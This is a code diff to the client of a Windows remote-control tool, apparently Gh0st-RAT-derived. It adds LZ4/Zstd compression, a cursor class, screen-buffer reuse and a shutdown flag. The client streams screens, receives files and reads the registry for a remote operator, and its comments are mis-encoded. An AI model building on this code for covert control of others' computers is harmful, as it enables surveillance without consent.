<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" /> <ClCompile Include="KernelManager.cpp" />
@@ -106,7 +105,7 @@
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="CursorInfor.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" /> <ClInclude Include="KernelManager.h" />
@@ -136,6 +135,10 @@
<ItemGroup> <ItemGroup>
<Media Include="Res\msg.wav" /> <Media Include="Res\msg.wav" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
</ImportGroup> </ImportGroup>

View File

@@ -33,9 +33,6 @@
<ClCompile Include="Common.cpp"> <ClCompile Include="Common.cpp">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="CursorInfor.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="FileManager.cpp"> <ClCompile Include="FileManager.cpp">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
@@ -98,9 +95,6 @@
<ClInclude Include="Common.h"> <ClInclude Include="Common.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CursorInfor.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="FileManager.h"> <ClInclude Include="FileManager.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
@@ -158,6 +152,9 @@
<ClInclude Include="zlib.h"> <ClInclude Include="zlib.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CursorInfo.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="Script.rc"> <ResourceCompile Include="Script.rc">
@@ -174,4 +171,12 @@
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Media> </Media>
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="Res\msg.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project> </Project>

85
client/CursorInfo.h Normal file
View File

@@ -0,0 +1,85 @@
// CursorInfor.h: interface for the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MAX_CURSOR_TYPE 16
class CCursorInfo
{
private:
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
public:
CCursorInfo()
{
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] =
{
IDC_APPSTARTING,
IDC_ARROW,
IDC_CROSS,
IDC_HAND,
IDC_HELP,
IDC_IBEAM,
IDC_ICON,
IDC_NO,
IDC_SIZE,
IDC_SIZEALL,
IDC_SIZENESW,
IDC_SIZENS,
IDC_SIZENWSE,
IDC_SIZEWE,
IDC_UPARROW,
IDC_WAIT
};
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
{
m_CursorResArray[i] = CursorResArray[i];
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
}
}
virtual ~CCursorInfo()
{
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
DestroyCursor(m_CursorHandleArray[i]);
}
int getCurrentCursorIndex()
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
return -1;
int i;
for (i = 0; i < MAX_CURSOR_TYPE; ++i)
{
if (ci.hCursor == m_CursorHandleArray[i])
break;
}
DestroyCursor(ci.hCursor);
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
return nIndex;
}
HCURSOR getCursorHandle( int nIndex )
{
if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE)
return m_CursorHandleArray[nIndex];
else
return NULL;
}
};
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)

View File

@@ -1,40 +0,0 @@
// CursorInfor.cpp: implementation of the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CursorInfor.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CCursorInfor::CCursorInfor()
{
}
CCursorInfor::~CCursorInfor()
{
}
int CCursorInfor::GetCurrentCursorIndex()
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
{
return -1;
}
int iIndex = 0;
for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
{
break;
}
DestroyCursor(ci.hCursor);
return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
}

View File

@@ -1,22 +0,0 @@
// CursorInfor.h: interface for the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define MAX_CURSOR_TYPE 16
class CCursorInfor
{
public:
CCursorInfor();
virtual ~CCursorInfor();
int GetCurrentCursorIndex();
};
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)

View File

@@ -592,7 +592,7 @@ void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8); strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow; m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
MakeSureDirectoryPathExists(m_strCurrentProcessFileName); MakeSureDirectoryPathExists(m_strCurrentProcessFileName);

View File

@@ -5,16 +5,37 @@
#include "stdafx.h" #include "stdafx.h"
#include "IOCPClient.h" #include "IOCPClient.h"
#include <IOSTREAM> #include <IOSTREAM>
#include "zconf.h" #if USING_ZLIB
#include "zlib.h" #include "zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define Z_FAILED(p) (0 == (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else
#include "zstd/zstd.h"
#pragma comment(lib, "zstd/zstd.lib")
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
#include <assert.h> #include <assert.h>
#include "Manager.h"
using namespace std; using namespace std;
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
VOID IOCPClient::setManagerCallBack(class CManager* Manager) VOID IOCPClient::setManagerCallBack(CManager* Manager)
{ {
m_Manager = Manager; m_Manager = Manager;
} }
@@ -22,6 +43,7 @@ VOID IOCPClient::setManagerCallBack(class CManager* Manager)
IOCPClient::IOCPClient(bool exit_while_disconnect) IOCPClient::IOCPClient(bool exit_while_disconnect)
{ {
m_Manager = NULL;
WSADATA wsaData; WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData); WSAStartup(MAKEWORD(2, 2), &wsaData);
@@ -29,6 +51,7 @@ IOCPClient::IOCPClient(bool exit_while_disconnect)
m_hWorkThread = NULL; m_hWorkThread = NULL;
m_bWorkThread = S_STOP; m_bWorkThread = S_STOP;
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH); memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
m_bIsRunning = TRUE; m_bIsRunning = TRUE;
@@ -154,6 +177,14 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}else{ }else{
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead //<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
This->OnServerReceiving(szBuffer, iReceivedLength); This->OnServerReceiving(szBuffer, iReceivedLength);
if (This->m_Manager->m_bIsDead)
{
printf("****** Recv bye bye ******\n");
// <20>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern bool g_bExit;
g_bExit = true;
break;
}
} }
} }
} }
@@ -176,7 +207,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH) while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
{ {
char szPacketFlag[FLAG_LENGTH] = {0}; char szPacketFlag[FLAG_LENGTH + 3] = {0};
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH); CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
@@ -209,7 +240,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
int iRet = uncompress(DeCompressedBuffer, int iRet = uncompress(DeCompressedBuffer,
&ulOriginalLength, CompressedBuffer, ulCompressedLength); &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (iRet == Z_OK)//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD> if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{ {
CBuffer m_DeCompressedBuffer; CBuffer m_DeCompressedBuffer;
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer, m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
@@ -220,8 +251,12 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0), m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
m_DeCompressedBuffer.GetBufferLength()); m_DeCompressedBuffer.GetBufferLength());
} }
else else{
printf("[ERROR] uncompress failed \n");
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
throw "Bad Buffer"; throw "Bad Buffer";
}
delete [] CompressedBuffer; delete [] CompressedBuffer;
delete [] DeCompressedBuffer; delete [] DeCompressedBuffer;
@@ -233,8 +268,9 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
} }
int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
{ {
AUTO_TICK(10);
assert (ulOriginalLength > 0); assert (ulOriginalLength > 0);
{ {
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12 //<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
@@ -242,20 +278,30 @@ int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) /
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 ΢<><CEA2><EFBFBD> //<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 ΢<><CEA2><EFBFBD>
//nSize = 436 //nSize = 436
//destLen = 448 //destLen = 448
#if USING_ZLIB
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
#elif USING_LZ4
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (iRet != Z_OK) if (Z_FAILED(iRet))
{ {
printf("[ERROR] compress failed \n");
delete [] CompressedBuffer; delete [] CompressedBuffer;
return FALSE; return FALSE;
} }
#if !USING_ZLIB
ulCompressedLength = iRet;
#endif
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH; ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
CBuffer m_WriteBuffer; CBuffer m_WriteBuffer;
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag)); m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
// 5 4 // 5 4

View File

@@ -38,7 +38,7 @@ public:
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
int OnServerSending(const char* szBuffer, ULONG ulOriginalLength); BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL IsRunning() const BOOL IsRunning() const
@@ -49,16 +49,16 @@ public:
BOOL m_bIsRunning; BOOL m_bIsRunning;
BOOL m_bConnected; BOOL m_bConnected;
char m_szPacketFlag[FLAG_LENGTH]; char m_szPacketFlag[FLAG_LENGTH + 3];
VOID setManagerCallBack(class CManager* Manager); VOID setManagerCallBack(CManager* Manager);
VOID Disconnect(); VOID Disconnect();
VOID RunEventLoop(const BOOL &bCondition); VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected; } bool IsConnected() const { return m_bConnected == TRUE; }
public: public:
class CManager* m_Manager; CManager* m_Manager;
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
bool m_exit_while_disconnect; bool m_exit_while_disconnect;
}; };

View File

@@ -16,9 +16,9 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
CKernelManager::~CKernelManager() CKernelManager::~CKernelManager()
{ {
printf("~CKernelManager \n"); printf("~CKernelManager begin\n");
int i = 0; int i = 0;
for (i=0;i<0x1000;i++) for (i=0;i<0x1000;++i)
{ {
if (m_hThread->h!=0) if (m_hThread->h!=0)
{ {
@@ -30,6 +30,7 @@ CKernelManager::~CKernelManager()
} }
} }
m_ulThreadCount = 0; m_ulThreadCount = 0;
printf("~CKernelManager end\n");
} }
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -75,6 +76,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
m_bIsDead = true; //say goodbye
OutputDebugStringA("======> Bye bye \n"); OutputDebugStringA("======> Bye bye \n");
m_hThread[m_ulThreadCount].p = NULL; m_hThread[m_ulThreadCount].p = NULL;
delete pNew; delete pNew;

View File

@@ -56,7 +56,7 @@ BOOL WebCamIsExist()
BOOL bOk = FALSE; BOOL bOk = FALSE;
char szDeviceName[100], szVer[50]; char szDeviceName[100], szVer[50];
for (int i = 0; i < 10 && !bOk; i++) for (int i = 0; i < 10 && !bOk; ++i)
{ {
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
//ϵͳ<CFB5><CDB3>API<50><49><EFBFBD><EFBFBD> //ϵͳ<CFB5><CDB3>API<50><49><EFBFBD><EFBFBD>

View File

@@ -4,6 +4,7 @@
#include "stdafx.h" #include "stdafx.h"
#include "Manager.h" #include "Manager.h"
#include "IOCPClient.h"
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
@@ -11,6 +12,7 @@
CManager::CManager(IOCPClient* ClientObject) CManager::CManager(IOCPClient* ClientObject)
{ {
m_bIsDead = false;
m_ClientObject = ClientObject; m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this); m_ClientObject->setManagerCallBack(this);

View File

@@ -9,14 +9,12 @@
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
#include "IOCPClient.h"
class IOCPClient; class IOCPClient;
class CManager class CManager
{ {
public: public:
bool m_bIsDead; // bye-bye
CManager(IOCPClient* ClientObject); CManager(IOCPClient* ClientObject);
virtual ~CManager(); virtual ~CManager();

View File

@@ -18,7 +18,7 @@ public:
CRegisterManager(IOCPClient* ClientObject, int n); CRegisterManager(IOCPClient* ClientObject, int n);
virtual ~CRegisterManager(); virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID CRegisterManager::Find(char bToken, char *szPath); VOID Find(char bToken, char *szPath);
}; };
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_) #endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)

View File

@@ -86,7 +86,6 @@ char* RegisterOperation::FindPath()
if(KeyCount>0&&KeySize>1){ if(KeyCount>0&&KeySize>1){
int Size=sizeof(REGMSG)+1; int Size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11] DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
szBuffer=(char*)LocalAlloc(LPTR, DataSize); szBuffer=(char*)LocalAlloc(LPTR, DataSize);
ZeroMemory(szBuffer,DataSize); ZeroMemory(szBuffer,DataSize);

View File

@@ -14,11 +14,11 @@ class RegisterOperation
public: public:
RegisterOperation(char bToken); RegisterOperation(char bToken);
virtual ~RegisterOperation(); virtual ~RegisterOperation();
char* RegisterOperation::FindPath(); char* FindPath();
HKEY MKEY; HKEY MKEY;
char KeyPath[MAX_PATH]; char KeyPath[MAX_PATH];
void RegisterOperation::SetPath(char *szPath); void SetPath(char *szPath);
char* RegisterOperation::FindKey(); char* FindKey();
}; };
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_) #endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)

BIN
client/Res/ghost.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

BIN
client/Res/msg.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

View File

@@ -28,6 +28,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
m_ScreenSpyObject = new CScreenSpy(16); m_ScreenSpyObject = new CScreenSpy(16);
szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight];
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL); m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
} }
@@ -36,15 +38,22 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{ {
CScreenManager *This = (CScreenManager *)lParam; CScreenManager *This = (CScreenManager *)lParam;
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB> This->SendBitMapInfo(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This->WaitForDialogOpen(); This->WaitForDialogOpen();
clock_t last = clock(); clock_t last = clock();
This->SendFirstScreen(); This->SendFirstScreen();
const int fps = 10;// ֡<><D6A1> #if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73> const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
timeBeginPeriod(1);
while (This->m_bIsWorking) while (This->m_bIsWorking)
{ {
ULONG ulNextSendLength = 0; ULONG ulNextSendLength = 0;
@@ -57,17 +66,15 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
printf("SendScreen Span = %d ms\n", span); printf("SendScreen Span = %d ms\n", span);
last = clock(); last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength); This->SendNextScreen(szBuffer, ulNextSendLength);
delete[] szBuffer;
szBuffer = NULL;
} }
} }
timeEndPeriod(1);
cout<<"ScreenWorkThread Exit\n"; cout<<"ScreenWorkThread Exit\n";
return 0; return 0;
} }
VOID CScreenManager::SendBitMapInfor() VOID CScreenManager::SendBitMapInfo()
{ {
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>bmp<6D><EFBFBD>Ĵ<EFBFBD>С
ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize(); ULONG ulLength = 1 + m_ScreenSpyObject->GetBISize();
@@ -95,6 +102,11 @@ CScreenManager::~CScreenManager()
delete[] m_ScreenSpyObject; delete[] m_ScreenSpyObject;
m_ScreenSpyObject = NULL; m_ScreenSpyObject = NULL;
if(szBuffer)
{
delete [] szBuffer;
szBuffer = NULL;
}
} }
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -188,21 +200,16 @@ VOID CScreenManager::SendFirstScreen()
} }
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength(); ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
szBuffer[0] = TOKEN_FIRSTSCREEN; szBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1); memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength); m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
szBuffer[ulFirstSendLength] = 0;
delete [] szBuffer;
szBuffer = NULL;
} }
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{ {
AUTO_TICK(5);
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData == NULL) if (ulNextSendLength == 0 || NextScreenData == NULL)
@@ -212,10 +219,9 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
ulNextSendLength += 1; ulNextSendLength += 1;
char* szBuffer = new char[ulNextSendLength];
szBuffer[0] = TOKEN_NEXTSCREEN; szBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1); memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
szBuffer[ulNextSendLength] = 0;
return szBuffer; return szBuffer;
} }

View File

@@ -17,12 +17,13 @@ class IOCPClient;
class CScreenManager : public CManager class CScreenManager : public CManager
{ {
public: public:
char* szBuffer;
CScreenManager(IOCPClient* ClientObject, int n); CScreenManager(IOCPClient* ClientObject, int n);
virtual ~CScreenManager(); virtual ~CScreenManager();
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID SendBitMapInfor(); VOID SendBitMapInfo();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
